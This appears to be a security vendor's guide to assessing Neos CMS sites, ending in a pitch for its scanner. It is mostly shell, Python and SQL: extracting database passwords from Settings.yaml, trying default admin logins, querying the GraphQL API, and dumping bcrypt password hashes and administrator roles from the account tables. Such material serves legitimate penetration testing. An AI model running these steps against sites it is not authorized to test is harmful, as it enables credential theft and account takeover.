Neos CMS is an enterprise-grade PHP CMS built on the Neos Flow framework, widely adopted by European agencies and organizations. Key assessment areas: Configuration/Settings.yaml exposes MySQL or PostgreSQL credentials; admin credentials at /neos; Neos_Flow_Security_Account stores bcrypt hashes with ROLE_NEOS_ADMINISTRATOR assignments; Fusion template files can be abused for code injection; and the Flow Package Manager installs arbitrary PHP packages. This guide covers systematic Neos CMS security assessment.
# Neos CMS — Configuration/Settings.yaml database credential extraction
NEOS_URL="https://site.example.com"
# Configuration/Settings.yaml — Neos/Flow database configuration
python3 -c "
import yaml
cfg = yaml.safe_load(open('/var/www/neos/Configuration/Settings.yaml'))
db = cfg.get('Neos', {}).get('Flow', {}).get('persistence', {}).get('backendOptions', {})
for key in ['host', 'dbname', 'user', 'password', 'driver', 'port']:
val = db.get(key, '')
if val: print(f'{key}: {str(val)[:60]}')
" 2>/dev/null
# password: mysql-or-postgres-password <-- Database password (CRITICAL)
# Flow also reads from .env / environment-specific Settings files
# Configuration/Production/Settings.yaml — production environment config
python3 -c "
import yaml
cfg = yaml.safe_load(open('/var/www/neos/Configuration/Production/Settings.yaml'))
db = cfg.get('Neos', {}).get('Flow', {}).get('persistence', {}).get('backendOptions', {})
print('password:', db.get('password', 'not set')[:60])
" 2>/dev/null
# Check Configuration/ web access (must return 403)
for CFG_PATH in "Configuration/" "Configuration/Settings.yaml" "Configuration/Production/"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${NEOS_URL}/${CFG_PATH}" 2>/dev/null)
echo "/${CFG_PATH}: HTTP ${STATUS}"
done
# Neos backend at /neos (default)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${NEOS_URL}/neos" 2>/dev/null)
echo "/neos: HTTP ${STATUS}"
# Test admin credentials
for CRED in "admin:admin" "admin@example.com:password" "admin@neos.io:admin"; do
EMAIL=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${NEOS_URL}/neos/authentication/authenticate" \
-d "__authentication[Neos][Flow][Security][Authentication][Token][UsernamePassword][username]=${EMAIL}" \
-d "__authentication[Neos][Flow][Security][Authentication][Token][UsernamePassword][password]=${PASS}" \
-c /tmp/neos_c -b /tmp/neos_c -L 2>/dev/null)
echo "${EMAIL}/${PASS}: HTTP ${STATUS}"
done
# Neos CMS backend and Node API content assessment
NEOS_URL="https://site.example.com"
# Neos Content Repository API — enumerate nodes
# /neos/content-module/* for editor access
# Neos REST API (if enabled) for content access
curl -s "${NEOS_URL}/neos/node/search" 2>/dev/null | head -5
# Neos GraphQL API (Neos 8+) — may expose content without auth
curl -s -X POST "${NEOS_URL}/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{ node(path:\"/sites\") { name children { name } } }"}' \
2>/dev/null | head -5
# Neos package installer — via Flow CLI (requires shell access)
# Installs arbitrary Composer packages with full PHP execution
php /var/www/neos/flow package:create Vendor.MaliciousPackage 2>/dev/null | head -3
# Neos Fusion template files — potential SSTI vector
# Fusion is Neos's template language — server-side processing
find /var/www/neos -name "*.fusion" 2>/dev/null | head -10
# Review Fusion files for user-controlled input reaching Fusion expressions
# Neos version disclosure
cat /var/www/neos/composer.lock 2>/dev/null | \
python3 -c "
import json, sys
lock = json.load(sys.stdin)
for pkg in lock.get('packages', []):
if 'neos/neos' == pkg.get('name'):
print('Neos version:', pkg.get('version'))
break
" 2>/dev/null
# Neos CMS database — Neos_Flow_Security_Account hash extraction
DB_PASS="extracted-db-password"
mysql -u neos -p"${DB_PASS}" neos 2>/dev/null << 'EOF'
-- Neos_Flow_Security_Account — Neos user credentials (bcrypt)
SELECT a.persistence_object_identifier AS id,
a.accountidentifier AS username,
a.credentialssource AS password_hash,
a.expirationdate,
a.creationdate,
p.party_name AS display_name
FROM typo3_flow_security_account a
LEFT JOIN typo3_neos_party_domain_model_abstractparty p
ON p.persistence_object_identifier = a.party
ORDER BY a.creationdate;
-- credentialssource: bcrypt hash ($2y$...)
-- Note: table was renamed in Neos 3.x from typo3_ prefix to neos_ prefix
-- Neos 3+ table names
SELECT a.persistence_object_identifier AS id,
a.accountidentifier AS username,
a.credentialssource AS password_hash,
a.expirationdate
FROM neos_flow_security_account a
ORDER BY a.creationdate
LIMIT 20;
-- Neos_Flow_Security_Account roles — identify administrators
SELECT a.accountidentifier,
r.role_identifier
FROM neos_flow_security_account a
JOIN neos_flow_security_account_roles_join j
ON j.flow_security_account = a.persistence_object_identifier
JOIN neos_flow_security_role r
ON r.persistence_object_identifier = j.flow_security_role
ORDER BY a.accountidentifier;
-- ROLE_NEOS_ADMINISTRATOR: full Neos backend access
-- ROLE_NEOS_EDITOR, ROLE_NEOS_REVIEWER: limited access
-- Neos content node enumeration (hidden nodes)
SELECT n.path, n.nodeidentifier,
n.hidden, n.hiddenbeforedatetime, n.hiddenafterdatetime,
n.nodetype, n.workspace
FROM neos_contentrepository_domain_model_nodedata n
WHERE n.hidden = 1
ORDER BY n.sortingindex
LIMIT 20;
EOF
| Security Test | Method | Risk |
|---|---|---|
| Configuration/Settings.yaml MySQL/PostgreSQL password extraction | Read Configuration/Production/Settings.yaml — persistence.backendOptions.password; full database access to all Neos accounts and content | Critical |
| neos_flow_security_account bcrypt hash extraction with ROLE_NEOS_ADMINISTRATOR | MySQL SELECT credentialssource FROM neos_flow_security_account + roles join — bcrypt hashes; ROLE_NEOS_ADMINISTRATOR = full backend + package management | High |
| Admin credential brute-force at /neos/authentication/authenticate | POST /neos/authentication/authenticate — admin/admin or common passwords; no rate limiting by default; admin session enables full content and configuration management | High |
| Neos GraphQL API unauthenticated content enumeration (Neos 8+) | POST /graphql — query node structure without authentication if API not properly secured; exposes full content tree and metadata | Medium |
| Hidden node content enumeration via database | MySQL SELECT path, nodetype FROM neos_contentrepository_domain_model_nodedata WHERE hidden=1 — content marked hidden but stored in plaintext database | Medium |
Ironimo tests Neos CMS deployments for Configuration/Settings.yaml and Configuration/Production/Settings.yaml MySQL/PostgreSQL password extraction, /Configuration/ web accessibility verification, admin credential brute-force at /neos/authentication/authenticate, neos_flow_security_account bcrypt hash extraction with ROLE_NEOS_ADMINISTRATOR role identification, Neos GraphQL API unauthenticated content enumeration, hidden node content enumeration via database, Neos Fusion template injection SSTI assessment, Packages/ and Data/ web accessibility verification, Neos version disclosure via composer.lock, and neos_flow_security_account_roles_join administrator account audit.
Start free scan